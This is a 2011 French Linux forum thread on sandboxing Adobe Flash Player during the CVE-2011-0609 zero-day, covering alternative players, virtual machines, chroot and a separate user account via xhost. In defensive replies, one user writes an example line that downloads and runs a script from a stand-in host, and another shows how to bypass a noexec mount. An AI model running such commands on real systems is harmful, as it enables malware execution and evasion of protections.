Forum général.général Faille 0 day dans le lecteur Flash D'Adobe - comment réagir ?

Posté par SamWang le 17/03/11 à 10:17.

mar.

2011

Bonjour,

Adobe a publié un bulletin d’alerte : une faille de sécurité (non corrigée) commune à son lecteur d’animation Flash Player et à ses logiciels de gestion de documents PDF permet à des pirates de prendre le contrôle à distance d’un ordinateur http://www.futura-sciences.com/fr/news/t/informatique/d/une-faille-critique-dans-flash-player-menace-les-ordinateurs_28838/

Comment réagir ? J'ai besoin de continuer à visionner du contenu Flash, même si ça pue. Par exemple, à priori, je suis tenté de faire confiance à Google pour éviter tout problème sur le contenu qu'il met en ligne. Qu'en pensez-vous ?

Je suis intéressé par toute proposition de cloisonnement efficace et simple. Une explication ou un lien sur le comment mettre en place une telle solution sera la bienvenue (notamment avec Ubuntu 10.10 et avec Debian 6.0).

Merci de vos retours.

# En attendant un correctif...

Posté par Ellendhel (page perso) le 17/03/11 à 10:26. Évalué à 4.

Tu fais référence à la faille signalée dans le bulletin APSA11-01 d'Adobe (CVE-2011-0609) qui effectivement touche tous les systèmes (au moins via le lecteur Flash).

Un correctif est prévu pour la semaine prochaine (We are in the process of finalizing a fix for the issue and expect to make available an update (...) during the week of March 21, 2011).

Si tu as effectivement besoin de consulter des fichiers au format Flash, il faudrait essayer le lecteur alternatif gnash (http://www.gnashdev.org/) mais je ne sais pas s'il est compatible avec toutes les fonctionnalités du format.

Sinon, une possiblilité de cloisonnement est de créer une machine virtuelle et d'y installer le lecteur d'Adobe. En cas de problème, il faudra remettre cette machine à son état initial (en utilisant les fonctions de snapshot dans VirtualBox par exemple).

Répondre
- [^] # Re: En attendant un correctif...
  
  Posté par SamWang le 17/03/11 à 10:35. Évalué à -1.
  Sous Linux, pour le lecteur Flash libre GNASH, j'ai testé, ainsi que "lightspark", sans succès sur une URL telle que : http://boxnewsantinom.chatango.com/
  
  A toute fin utile, voici mon retour d'expérience du tests des lecteurs Flash libres sous Ubuntu 10.10 il y a un mois et demi :
  
  Comme plug-in Firefox pour traiter le Flash :
  - sont proposés (lorsque j'accède un contenu Flash, apparition d'une ligne d'explication en haut + bouton pour installer plug-in) :
    - Adobe Flash
    - Swfdec SWF player ( http://swfdec.freedesktop.org )
    - Gnash SWF player ( http://www.gnu.org/software/gnash )
  - je commence par essayer "Gnash"
  /* annonce avant l'installation :
```
installation du paquet "mozilla-plugin-gnash" et annonce que c'est transitoire pour renommage en "browser-plugin-gnash"
le premier paquet peut petre viré quand le 2e est installé
```
  */
```
J'observe que le tchat flash que je fréquente ne fonctionne pas
je ne réussis pas à obtenir la proposition d'installer un autre plug-in Flash en désactivant celui-ci
je me résouds à la désinstaller en lisant ici qu'il faut le faire et comment le faire (une ligne de commmande) :
    http://doc.ubuntu-fr.org/flashplayer#desinstallation_complete_de_flash
```
  - je trouve ici des pages qui décrivent les différents plug-in Flash : http://doc.ubuntu-fr.org/flash#lecteurs_flash
  - je teste "lightspark" http://doc.ubuntu-fr.org/lightspark
```
  ---> j'ajoute le PPA qui va bien par la page : https://launchpad.net/~sssup/+archive/sssup-ppa
  // la description du processus apparaît dans une fenêtre popup en cliquant sur "Read about installing"
  -----> ce qui implique d'exécuter la commande :
  << sudo add-apt-repository ppa:sssup/sssup-ppa >>
      Détail : il s'agit de la commande :
      << sudo add-apt-repository ppa:user/ppa-name >>
      avec le paramètre : << ppa:sssup/sssup-ppa >>
  suivie de la commande :
  << sudo apt-get update >>
```
    Depuis le gestionnaire de paquet Synaptic (interface graphique) :
    - je recharge la liste (sinon il ne trouve pas "lightspark")
    - j'installe 3 paquets qui sont concerné :
      lightspark lui-même
      
      qui a des dépendances, notamment "lightspark common"
      
      "browser-plugin-lightspark" // je laisse de côté le paquet "lightspark-dbg" pour les symboles de debug. NOTE : parmis les dépendances on retrouve Gnash qui sert de FallBack (comme expliqué sur les pages web mentionnées plus haut)
    ----> résultat de l'essai :
```
  - le tchat ne marche pas mieux
      sûrement fallback sur Gnash que je vois super actif avec le plug-in "gkrelltop",
      même symptôme de saturation du CPU qu'avec Gnash installé seul
  - 2 tentatives sur youtube.com qui plantent Firefox !
```
    ----> je désinstalle en passant par le gestionnaire de paquet Synaptic (interface graphique)
```
  J'observe que seuls les 3 paquets suivants semblent concernés (!) :
  "lightspark", "lightspark common" et  "browser-plugin-lightspark" 

  J'envisage de virer Gnash par la même ligne de commande déjà utilisée pour désinstaller Gnash
  Mais je teste déjà Firefox sur une page Flash pour voir le comportement
  (je souhaite qu'il me propose d'installer un plug-in pour Flash pour pouvoir essayer swfdec (bof!)
  ou passer à Adobe...)

  ...ça marche, au sens qu'il me propose d'installer un pug-in
  je démarre le processus pour swfdec et je vois qu'il embarque sur gnash... d'après le baratin. Grumpf !
  J'annule.
  Je retente avec Adobe (rechargement de page pour relancer le processus d'install de plug-in Flash)

  Freeze de Firefox...        // note : (1)
  Je force la fermeture (par le menu contextuel)
```
    Au relancement de Firefox, Flash est actif !!! (1) je découvrirai plus tard une fenêtre de suivi d'installation du plug-in (passée en arrière plan) qui était sûrement à l'origine du freeze du reste de l'interface de Firefox
  C'est donc le plug-in ADOBE que j'ai installé !
  Répondre
- [^] # Re: En attendant un correctif...
  
  Posté par SamWang le 17/03/11 à 10:49. Évalué à -2.
  
  Pour la virtualisation, quelques références basiques pour tout un chacun (copié/collé de mes notes de lecture) :
  
  Virtualisation de systèmes d'exploitation : http://doc.ubuntu-fr.org/virtualisation
  
  http://linuxfr.org/sections/virtualisation
  
  http://linuxfr.org/users/jyes/journaux/mauvaise-surprise-virtuelle%E2%80%A6 Journal Mauvaise surprise virtuelle... Très intéressant retour d'expérience sur la virtualisation avec Debian 6 (Squeeze)... à lire, à comprendre, pourquoi pas une petite synthèse, à l'occasion.
  
  Ce qui me gêne, c'est la ressource processeur consommée par la virtualisation.
  
  Je suis intéressé par une proposition de mise en oeuvre (pertinente pour le cas de Flash) d'une solution de cloisonnement plus minimaliste. Quel choix plus minimaliste que Virtualbox ou KVM peut-on faire ? Et le plus minimaliste possible ?
  
  Merci.
  
  Répondre
  - [^] # Re: En attendant un correctif...
    
    Posté par farvardin (page perso, jabber id) le 17/03/11 à 11:06. Évalué à 2.
    
    je doute fortement que "la prise à distance d'un ordinateur" concerne autre chose que les OS windows, alors pas de panique.
    Au pire des cas, si tu pense que ça peut affecter ton /home, tu créés un autre compte utilisateur pour naviguer. Si ça ne te suffit pas, tu fais un double boot.
    
    Only wimps use tape backup: real men just upload their important stuff on megaupload, and let the rest of the world ~~mirror~~ link to it
    
    Répondre
    - [^] # Re: En attendant un correctif...
      
      Posté par SamWang le 17/03/11 à 11:22. Évalué à -2.
      
      avoir la nécessité d'ouvrir sous Linux une session spécifique pour consulter du Flash (donc avec un nouvelle session liée à un compte utilisateur dédié à l'usage du Flash, compte ayant donc des droits de modification nuls sur le /home/utilisateur_habituel), c'est un peu lourd... Notamment en terme de taille de mémoire RAM mobilisée, si je veux pouvoir passer d'une session à l'autre rapidement, en les laissant toutes les deux actives (avec en plus la contrainte d'usage de la saisie de mot de passage à chaque changement d'utilisateur (de session)). Par ailleurs, si la faille 0-day permet de prendre le contrôle à distance, je peux supposer qu'il y a une escalade de privilège possible, donc un risque d'usurpation des droits d'admin, qui ne s'encombrent pas des droits restreint de l'utisateur spécifiquement créé.
      
      Quant à faire un double boot, d'une part c'est encore plus lourd à l'usage, d'autre part ça ne règle rien en cas d'escalade de privilège : un boot avec une prise de contrôle à distance, et hop' tout le contenu des disques durs peuvent être visités, laissant éventuellement pourrir également le système de fichier du système d'exploitation réputé sain pendant la session d'usage du Flash.
      
      Répondre
    - [^] # Re: En attendant un correctif...
      
      Posté par farvardin (page perso, jabber id) le 17/03/11 à 11:52. Évalué à 2.
      
      le site futura-science indique que ça touche également mac os x et linux, mais vu que leur site est tellement mal fait, avec des liens pour divers mots-clé, il vaut mieux aller sur le site d'adobe :
      http://www.adobe.com/support/security/advisories/apsa11-01.html
      
      Le code incriminé est sans doute présent dans les autres OS cités, mais cela serait étonnant que la prise de contrôle soit possible également.
      
      Only wimps use tape backup: real men just upload their important stuff on megaupload, and let the rest of the world ~~mirror~~ link to it
      
      Répondre
      - [^] # Re: En attendant un correctif...
        
        Posté par SamWang le 17/03/11 à 11:59. Évalué à -1.
        
        ok merci.
        
        A propos d'escalade de droits, il reste possible de prendre le contrôle de l'OS hôte à partir d'un contrôle de l'OS invité (virtualisé), dans certaines conditions, n'est-ce pas ?
        
        Histoire de pousser la réflexion jusqu'au bout un peu.
        
        Répondre
  - [^] # Re: En attendant un correctif...
    
    Posté par JPEC (page perso, jabber id) le 17/03/11 à 11:11. Évalué à 2.
    
    Je vais peux être dire une connerie mais je me lance…
    
    Y'a t'il possibilité de lancer le navigateur (et le plugin flash vérolé) dans un environnement chrooté ?
    
    Pårniåk
    
    Répondre
    - [^] # Re: En attendant un correctif...
      
      Posté par Ellendhel (page perso) le 17/03/11 à 11:21. Évalué à 6.
      
      Vu ce dont un navigateur web dépend pour bien fonctionner, il faudra beaucoup de choses dans le chroot (bibliothèques graphiques, réseau, ...).
      
      Ce ne doit pas être impossible mais suffisement pénible pour envisager d'autres solutions comme la virtualisation.
      
      Répondre
  - [^] # Re: En attendant un correctif...
    
    Posté par Ellendhel (page perso) le 17/03/11 à 11:34. Évalué à 3.
    
    Ce qui me gêne, c'est la ressource processeur consommée par la virtualisation.
    
    Les machines récentes disposent généralement d'un coeur qui ne sert pas tout le temps et qui peut être mis à contribution pour de la virtualisation (à moins de n'utiliser qu'un netbook ou autre machine modeste).
    
    De plus, les processeurs récents ont des instructions qui améliorent le support de la virtualisation (http://fr.wikipedia.org/wiki/Intel_VT et http://fr.wikipedia.org/wiki/Advanced_Micro_Devices#Pacifica.2FAMD-V).
    
    La commande suivante permet de savoir si l'on dispose de processeur "compétent" :
    
    egrep '^{flags.*(vmx|svm)'} /proc/cpuinfo
    
    Ce qui est d'ailleurs indispensable pour pouvoir utiliser KVM (http://www.linux-kvm.org/page/FAQ#What_do_I_need_to_use_KVM.3F).
    
    Pour des solutions comme Virtualbox, il faut bien penser à installer les "Additions Client" qui sont les pilotes permettant une prise en charge correct du matériel virtuel par le système invité. Sans cela, les performances et le comportement de la machine peuvent être erratiques.
    
    Je suis intéressé par une proposition de mise en oeuvre (pertinente pour le cas de Flash) d'une solution de cloisonnement plus minimaliste. Quel choix plus minimaliste que Virtualbox ou KVM peut-on faire ? Et le plus minimaliste possible ?
    
    Il n'y aura pas de solution plus simple que KVM ou Virtualbox à ma connaissance.
    
    Répondre
    - [^] # Re: En attendant un correctif...
      
      Posté par SamWang le 17/03/11 à 11:56. Évalué à -2.
      
      ? Comment faut-il comprendre ton expression : egrep 'flags.*(vmx|svm)' /proc/cpuinfo (les caractères entre les apostrophes simples sont en exposant dans ta formulation).
      
      Merci.
      
      Répondre
      - [^] # Re: En attendant un correctif...
        
        Posté par Ellendhel (page perso) le 17/03/11 à 13:07. Évalué à 1.
        
        J'ai simplement repris la commande telle qu'indiquée dans la FAQ de KVM. Il s'agit d'une syntaxe de recherche pour la commande egrep, qui peut convenir quelque soit le fabriquant de processeur. Après il est aussi possible que la syntaxe markdown ait convertit quelque chose à mon insu.
        
        Pour faire plus simple et si tu sais que tu ne recherches que l'expression vmx pour un processeur Intel la commande grep vmx /proc/cpuinfo sera suffisante (grep --color vmx /proc/cpuinfo est un peu plus conviviale). Il suffit de remplacer vmx par svm sur une plateforme AMD.
        
        Répondre
        
        [^] # Re: En attendant un correctif...
        
        Posté par SamWang le 17/03/11 à 13:55. Évalué à -3.
        
        Merci. Ça marche bien comme suit : si on voit une réponse dans la console avec au moins une fois l'apparition du mot clé que l'on recherche ("vmx" pour un CPU Intel / "svm" pour un AMD), c'est que la machine dispose de ce jeu d'instruction dédié à la virtualisation.
        Et si la réponse est vide, c'est que la machine n'en dispose pas.
        
        Au passage, en effet, la coloration du mot clé dans la réponse permet d'en identifier la présence au premier coup d'oeil.
        
        Répondre
# Autre compte utilisateur, même session graphique

Posté par eolyte le 17/03/11 à 13:48. Évalué à 1.
Et si tu te créais un compte utilisateur poubelle, ne servant qu'à surfer ?
Tu ouvres ta session habituelle, puis dans un terminal tu fais un
```
xhost +local:
su loginPoubelle
commande_navigateur &
```
La première ligne sert uniquement à donner les droits à d'autres utilisateurs locaux d'utiliser ta session X.
Peu de perte de ressources, sécurité accrue.
Répondre
- [^] # Re: Autre compte utilisateur, même session graphique
  
  Posté par SamWang le 17/03/11 à 13:50. Évalué à -2.
  
  Yes ! Merci ! C'est un belle solution ! (avec mon niveau de lecture)
  
  Répondre
  - [^] # Re: Autre compte utilisateur, même session graphique
    
    Posté par SamWang le 17/03/11 à 14:02. Évalué à -4.
    j'ai receuilli des avis plutôt positifs sur la tribune à propos de cette méthode :
    - C'est bien
    - de la perte de temps, sauf à aller sur des sites louches il n'y a aucun risque
    - je l'ai moinsé, pourquoi ?
    Si vous voulez participer, les jeux sont ouverts :-)
    Répondre
- [^] # Re: Autre compte utilisateur, même session graphique
  
  Posté par BFG le 17/03/11 à 19:48. Évalué à 0.
  La première ligne sert uniquement à donner les droits à d'autres utilisateurs locaux d'utiliser ta session X.
  
  Attention, cela donne suffisamment de droits à l'application "poubelle" pour qu'elle puisse également :
  - "sniffer" tout ce qui est tapé dans la session (dans les autres applications graphiques de l'utilisateur normal)
  - taper elle même des choses dans la session (par exemple, taper "alt-f2", puis "wget http://example.com/virus.sh ; ./virus.sh")
  Répondre
  - [^] # Re: Autre compte utilisateur, même session graphique
    
    Posté par Laurent Pointal (page perso, jabber id) le 17/03/11 à 22:39. Évalué à 0.
    
    Oui, mais le /home est en noexec ;-)
    
    Répondre
    - [^] # Re: Autre compte utilisateur, même session graphique
      
      Posté par netsurfeur le 18/03/11 à 09:46. Évalué à 3.
      Oui, mais le /home est en noexec ;-)
      
      Il suffit de remplacer
      
      ./virus.sh
      
      par
      
      /bin/sh ./virus.sh
      
      pour contourner l'option noexec.
      
      Pour un binaire exécutable,
      
      /lib/ld-linux.so.2 ./prog /lib/ld-linux-x86-64.so.2 ./prog
      
      ont le même résultat.
      Répondre

Envoyer un commentaire

Suivre le flux des commentaires

Note : les commentaires appartiennent à ceux qui les ont postés. Nous n'en sommes pas responsables.